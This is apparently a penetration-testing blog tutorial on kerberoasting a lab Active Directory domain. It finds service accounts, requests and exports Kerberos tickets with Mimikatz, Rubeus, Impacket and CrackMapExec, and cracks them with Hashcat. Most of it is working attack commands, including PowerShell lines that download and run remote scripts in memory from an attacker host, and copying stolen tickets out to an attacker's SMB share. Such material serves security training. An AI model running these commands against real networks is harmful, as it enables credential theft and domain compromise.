In this blog post, we will explore multiple ways to perform a kerberoasting attack in an Active Directory environment.
To begin, we will briefly learn about Kerberos and how a kerberoasting attack works.
From there, our first example begins from the point of having obtained a foothold on a target Windows 10 host in the domain.
With a foothold established on the target host, we’ll utilize LOLBins as well as a PowerShell script (that we need to transfer onto the victim) to enumerate kerberoastable domain service accounts.
After identifying two kerberoastable domain service accounts, we will review multiple ways to perform a kerberoasting attack using various methods / tools.
Next, we will learn about three other tools that we can be used to remotely enumerate kerberoastable service accounts, as well as perform a kerberoasting attack.
Finally, we will take the service accounts TGS-REP hash that we extracted from our kerberoasting attack, and crack it using Hashcat.
What is Kerberos?
Kerberos is an authentication (security) protocol that authenticates service requests between two or more trusted hosts.
The Key Distribution Center (KDC) is used to authenticate client-server applications and verify user identities. The KDC provides authentication and ticket-granting services, issuing “tickets” for secure identity verification.
As a means to replace NTLM, Kerberos provides a secure mechanism (tickets) for verifying the identity of network users and services. Clients can request a service ticket from the KDC using their Ticket Granting Ticket (TGT), and then the service ticket will be used to authenticate and establish a secure session with the requested service.
What is a Kerberoasting Attack?
A kerberoasting attack is a technique that allows attackers to request a service ticket for any service with a registered SPN. Once requested, this service ticket will be presented to the attacker in the form of a TGS-REP hash.
The attacker then takes this ticket (hash), and uses a tool like Hashcat to crack the service accounts password.
The goal is to harvest TGS tickets for services that run on behalf of user accounts in the AD, and then try to crack them.
Typically, a kerberoasting attack involves four steps:
- SPN Discovery
- Request Service Tickets
- Export Service Tickets
- Crack Service Tickets
To perform a kerberoasting attack, we need to satisfy at least one of the follow two requirements:
- A valid set of credentials for a domain account (any account)
- A foothold on a target host in the domain (any account)
If a domain service account has a registered SPN, then it should be Kerberoastable; however, the success of the attack depends on how strong the password is as well as the level of privileges that the cracked service account has.
Alright, now that we have learned about both Kerberos and kerberoasting attacks from a high-level, let’s proceed to our first set of examples.
Hunting for SPNs – Foothold
For our first set of examples, we will enumerate kerberoastable users after a foothold has already been established on a target host in the network.
Let’s say that prior to obtaining a foothold, we had enumerated three hosts in the network:
- Juggernaut-DC – Server 2019 – 172.16.1.5
- JUGG-backup – Server 2019 -172.16.1.10
- JUGG-efrost – Windows 10 – 172.16.1.100
From there, we discovered a vulnerability on the Windows 10 host (172.16.1.100) that we managed to exploit, landing us a reverse shell. However, the exploit did not require credentials to exploit.
Although we do not have a set of credentials to work with, we do have a foothold, which satisfies one of the two requirements for kerberoasting attacks.
Finding Kerberoastable Service Accounts – setspn
The setspn command (setspn.exe) is used to set SPNs for service accounts in a domain. However, it can also be used by an attacker to enumerate kerberoastable service accounts.
This is a great way to probe for kerberoastable users by living off the land – before ever needing to download any tools onto the victim.
To use the setspn command, we need to supply either the name of the domain, or a wildcard after the -T switch.
If we use a wildcard, it will check for service accounts in the current forest. Meaning, if the forest contained multiple domains, it would check each one for registered service accounts.
setspn -T * -F -Q */*
In this example, the forest only contains one domain: juggernaut.local
From the output, we can see the command executed successfully and two kerberoastable service accounts were found: sqlservice and backup_svc.
Finding Kerberoastable Service Accounts – PowerShell Script
PowerShell is another tool that we can use to live off the land (kinda), and enumerate registered SPNs for domain service accounts.
Unfortunately, there aren’t really any good PowerShell commands or 1-liners to quickly enumerate SPNs – nothing like how setspn works. So instead, we will need to use a script to perform this enumeration.
The script we will be using is called Get-SPNs.ps1 and can be found on my GitHub page, here.
After placing a copy of the script onto our attacker machine, we need to serve the script up to our victim. To do so, we can run the following command from our working directory (where Get-SPNs.ps1 is located):
python3 -m http.server 80
Next, we can drop into a PowerShell prompt on the victim machine
powershell -ep bypass
If the above fails, you can get a PowerShell prompt by sending back a Nishang 1-liner found here.
Now that we have a PowerShell prompt, we will use the IEX method to download the script directly into memory on the victim.
Using this technique the script does not get saved to disk, which keeps us as close to living off the land as possible. However, this is not a “true” living off the land example.
Alternatively, if we find ourselves unable to get a PowerShell prompt for whatever reason, we can use cmd.exe to call PowerShell and run the command:
powershell.exe -c "iex(new-object net.webclient).downloadstring('http://172.16.1.30/Get-SPNs.ps1')"
Cool! Now that we have learned how to find domain service account (SPNs), let’s move on to the next step – requesting/exporting service tickets.
Gathering Service Tickets – Foothold
After successfully finding two kerberoastable domain service accounts, our next objective is to request a TGS (service) ticket for each of the service accounts we enumerated.
A TGS validates the use of a ticket for a specified purpose, such as network service access.
When we make a request for a service ticket, the ticket is granted to us and cached into memory. Therefor, in order to obtain TGS-REP hash from the ticket, we need to export it from memory.
Requesting a TGS Ticket – PowerShell
Using PowerShell, we can request service tickets, but we cannot export them.
To request a service ticket for the sqlservice account, we can use the following commands:
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "Juggernaut-DC/sqlservice.juggernaut.local:60111"
And then for the backup_svc account:
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "JUGGERNAUT-DC/backup_svc.juggernaut.local:60112"
Awesome! Both tickets were successfully requested and cached in memory.
Next, we can confirm that both tickets have been cached using the klist command.
Great! This shows us that both service tickets have been cached; but, it also shows the encryption type for both tickets is RC4.
RC4 is a very weak encryption type, and can be cracked easily. It is recommended to use AES encryption for Kerberos / SPNs; however, by default RC4 is enabled and is automatically assigned to service accounts when using setspn.
Now that the tickets have been cached, we need to export them from memory.
Exporting Service Tickets from Memory – Foothold
In order to export service tickets from memory, we need to use a tool such as Mimikatz.
Fortunately for us, Mimikatz comes in many flavours. So for this example, we will use PowerShell version: Invoke-Mimikatz.
Alternatively we could use the Metasploit’s “Kiwi” module, or we could simply use the original version of mimikatz.exe by gentilkiwi.
Exporting TGS Tickets from Memory – Invoke-Mimikatz
Invoke-Mimikatz is a great script for utilizing the power of Mimikatz without the need to drop mimikatz.exe on disk.
Similar to when we ran Get-SPNs.ps1, we can also utilize the IEX technique with Invoke-Mimikatz.ps1.
However, it should be noted that when using either Invoke-Mimikatz.ps1 or mimiktaz.exe to export the tickets, we are saving them to disk.
First, we need to grab a copy of Invoke-Mimikatz from the link above, and save it in our working directory (where our HTTP server is still running).
Next, we need to edit the script by appending the following command to the bottom:
echo Invoke-Mimikatz -Command \'\"kerberos::list /export\"\' >> Invoke-Mimikatz.ps1
Alright, the script is ready and the HTTP server is running. All that is left to do is to execute the IEX command on the victim to download and execute the script directly into memory.
The script saves multiple .kirbi files into the current directory. One for each ticket cached in memory.
We can see that all of the cached tickets have been exported; however, we are only interested in the two for the kerberoastable service accounts.
Alright, now we need to exfiltrate these tickets back to our attacker machine.
Exfiltrating Kirbi Files and Reformatting them for Cracking
To begin our exfiltration, we’ll setup an SMB server on our attacker machine to easily transfer the files to ourselves.
If you want to learn various techniques to download / upload files to / from your attacker machine when targeting a Windows host, then check out my post on the topic here.
smbserver.py share $(pwd) -smb2support
Back on the victim, we can copy the files into our share folder using the following commands:
cp 2-40a10000-efrost@JUGGERNAUT-DC~backup_svc.juggernaut.local~60112-JUGGERNAUT.LOCAL.kirbi \\172.16.1.30\share cp 3-40a10000-efrost@Juggernaut-DC~sqlservice.juggernaut.local~60111-JUGGERNAUT.LOCAL.kirbi \\172.16.1.30\share
The files get copied over without receiving an error, which is promising.
Checking back on our attacker machine now, we can see the kirbi files have been successfully transferred to our working directory.
Finally, with the kirbi files now on our attacker machine, we need to convert them to a crackable format.
For this step we can use kirbi2john against both kirbi files and save the output into a single file.
kirbi2john 3-40a10000-efrost@Juggernaut-DC~sqlservice.juggernaut.local~60111-JUGGERNAUT.LOCAL.kirbi > kerberoast.txt kirbi2john 2-40a10000-efrost@JUGGERNAUT-DC~backup_svc.juggernaut.local~60112-JUGGERNAUT.LOCAL.kirbi >> kerberoast.txt
In this format, we can now crack these hashes using either John the Ripper or Hashcat.
However, before we see how to crack these hashes, let’s look at a few tools that we can use to automate the entire process that we just saw.
Automated Kerberoasting Attack – Foothold
There are two tools that we can use to automate the first three steps of the kerberoasting processes: rubeus.exe and Invoke-Kerberoast.
With a single command these tools will search for registered SPNs, request a service ticket, and export the service ticket directly onto the terminal.
Best of all, the hashes are presented in a crackable format, so no reformatting is necessary – just copy and paste into a TXT file and start cracking!
Rubeus is a tool that can be very easily used to perform a kerberoast attack in an Active Directory environment.
If you do not have a copy of rubeus.exe, you can grab a compiled one from here.
With a single command, rubeus.exe will identify, request and extract all of the kerberoastable users hashes in the domain.
First, we need to grab a compiled copy of Rubeus from the link above. Then, we need to transfer a copy of Rubeus onto the victim machine.
Since we already have an SMB server and an HTTP server running out of our working directory, we’ll utilize the SMB server to grab a copy of Rubeus.
cp \\172.16.1.30\share\rubeus.exe .
Once Rubeus has been transferred onto the target host, we can perform a kerberoasting attack with the following command:
Boom! Just like that, Rubeus was able to find the kerberoastable users and then dump their TGS-REP hashes!
We can now take these hashes and copy + paste them into a TXT file on our attacker machine.
When you copy + paste this hash into a txt file, it will have new lines for each line seen above. If you try to crack this hash as is, it will not work as it is not in the proper format for Hashcat. You can use some linux-fu to clean this up or just simply remove all the new lines manually. Regardless of how you do it, the key is to have this hash in a txt file as one continuous string so that it can be cracked using Hashcat.
Invoke-Kerberoast.ps1 is a PowerShell script that is part of the PowerShell Empire post-exploitation framework.
After cloning a copy of the PowerShell Empire repository onto our attacker machine, there are two ways that we can use this script.
First, we could download the script to disk, use dot sourcing to load it into the current session, and then run the following command to request a ticket and receive the hash in a crackable format:
. .\Invoke-Kerberoast.ps1 Invoke-Kerberoast -OutputFormat hashcat | fl
Alternatively, we could do the same thing that we did with the Invoke-Mimikatz script and append the above command to the bottom of the script and then use the IEX command to download and execute the script directly into memory.
For this, we will want to copy the Invoke-Kerberoast.ps1 script into our working directly so that we are not editing the original script.
Next, we need to edit the script by appending the following command to the bottom:
echo 'Invoke-Kerberoast -OutputFormat hashcat | fl' >> Invoke-Kerberoast.ps1
Then, on the victim you can download the script directly into memory using the following command:
Now, just like we did when we dumped the tickets with Rubeus, we can copy + paste the hashes into a TXT file so that they are ready to crack using Hashcat.
Cool! We have seen a lot of good examples of how to perform a kerberoasting attack. However, all of these attacks required us to have a foothold on the target to execute.
Now, we are going to pivot to a different scenario and see how we can perform a kerberoasting attack remotely.
Automated Kerberoasting Attack – Remote
For our next set of examples, we are going to see three different tools that we can use to perform a kerberoasting attack remotely (without a foothold): GetUserSPNs.py, CrackMapExec, and Pypykatz.
Just as we saw in the previous automated kerberoasting examples, all three tools in this section will search for registered SPNs, request a service ticket, and export the service ticket directly onto the terminal.
In this scenario, we will say that during our initial enumeration we found a valid set of credentials in the SMB shares of the Windows 10 host.
Intern : W3lc0met0Th3p4rtY
After checking our access with these credentials, we found that we could not establish a foothold by any basic means (RDP, WinRM, SMB).
However, just by having a valid set of credentials, we can perform a kerberoasting attack because it satisfies the second requirement mentioned earlier.
GetUserSPNs.py is part of the Impacket collection of scripts, which is an essential repo that all hackers NEED to have in their tool belt.
The beautiful thing about the GetUserSPNs.py script is that it is executed remotely on the attacker side, which means we don’t need to have a foothold on the victim to perform this attack.
Actually, with this tool we can enumerate SPNs before kerberoasting them, which is good practice.
GetUserSPNs.py juggernaut.local/intern:'W3lc0met0Th3p4rtY' -dc-ip 172.16.1.5
Cool! This shows us that there are two kerberoastable service accounts. Also, we can see that the script also pulls group information for the service accounts.
Note that it is common for service accounts to be in the Domain Admins group – if you see that, and then you crack the password… Game Over!
Now that we have found the two kerberoastable accounts, all we need to do is add the -request flag to the command to request / export the TGS-REP hash.
GetUserSPNs.py juggernaut.local/intern:'W3lc0met0Th3p4rtY' -dc-ip 172.16.1.5 -request
Again, at this point we can copy + paste the hashes into a TXT file to be cracked.
Continuing with our next example, CrackMapExec is another tool that we can use to remotely perform a kerberoasting attack.
Since the process is fully automated from SPN discovery to requesting and exporting the service tickets, we can perform this attack with a single command:
crackmapexec ldap 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' --kerberoasting service_hashes.txt
The great thing about CrackMapExec is that it requires a filename to redirect the output into, so no copy + paste necessary. Instead, we have a nice TXT file waiting for us already formatted to be cracked using Hashcat.
Additionally, we can see that CrackMapExec was also able to extract group membership details for each of the service accounts.
For our final remote kerberoasting attack example, we will use a tool called Pypykatz.
Unfortunately, I have not had the best luck with this tool, and was only able to grab one of the two service hashes. regardless, this tool is great because it has an added layer of flexibility when it comes to performing a kerberoasting attack.
That is, Pypykatz has the ability to select the encryption type for the ticket(s) we are requesting. This is especially helpful when AES is enabled ALONG with RC4 (if RC4 is disabled this wont work).
Ideally, if both AES and RC4 are enabled we want to grab the RC4 hash because it is much weaker and faster to crack
We can run Pypykatz by either passing individual service accounts on the commandline, or by utilizing LDAP to find the kerberoastable users for us.
Since the first technique would require us to know the service account names, it doesn’t really help us much.
So instead, we will focus on the second technique and utilize LDAP to let the tool find the kerberoastable accounts for us.
pypykatz kerberos spnroast -e 23 'kerberos+password://juggernaut.local\intern:W3lc0met0Th3p4rtYfirstname.lastname@example.org' -l 'ldap+ntlm-password://juggernaut.local\intern:W3lc0met0Th3p4rtYemail@example.com' -o roast_me.txt
The INFO message at the bottom shows that the command completed successfully.
However, when I check the roast_me.txt file, it has 3 copies of the backup_svc users hash.
For some reason, it did not find the sqlservice account?
From the output, we can see that the tool has some kinks when attempting a fully automated kerberoasting attack.
However, Pypykatz is still a great option to perform this attack remotely.
Hopefully you will have better luck than I had with this tool. Also, be sure to check out the Wiki and test the other kerberoasting options.
Cracking the TGS-REP Hashes with Hashcat
Now that we have seen various ways to perform a kerberoasting attack, it’s time to start cracking the hashes we found!
In the first example, we exfiltrated both service account’s kirbi files (tickets) onto our attacker machine. Then, we reformatted both files into a single, crackable TXT file named keberoast.txt.
Using Hashcat’s help menu, we can identify the cracking mode needed to crack this type of hash.
Since we know that the ticket we requested is a TGS-REP hash, we can use Hashcat’s help menu to find the cracking mode for the specified hash type.
hashcat -h | grep -i 'kerberos'
There are a few options for TGS-REP hashes, and that is because there are different hashing algorithms used by Kerberos.
As we saw using Pypykatz, type 23 is related to RC4 hashes, which is the hash type we are currently working with.
If these were AES hashes, we would use type 18.
Cool! Now that we know the cracking mode to use, we can craft our Hashcat command and start cracking!
hashcat -m 13100 ./kerberoast.txt /usr/share/wordlists/rockyou.txt -o cracked_hashes.txt
Amazing! We were able to crack one of the hashes using Hashcat + rockyou.txt.
Checking the output file cracked_hashes.txt, we can see that we cracked the backup_svc accounts hash!
backup_svc : Makemoney1!
Once armed with a service account password, there are many things we can do to progress our attack.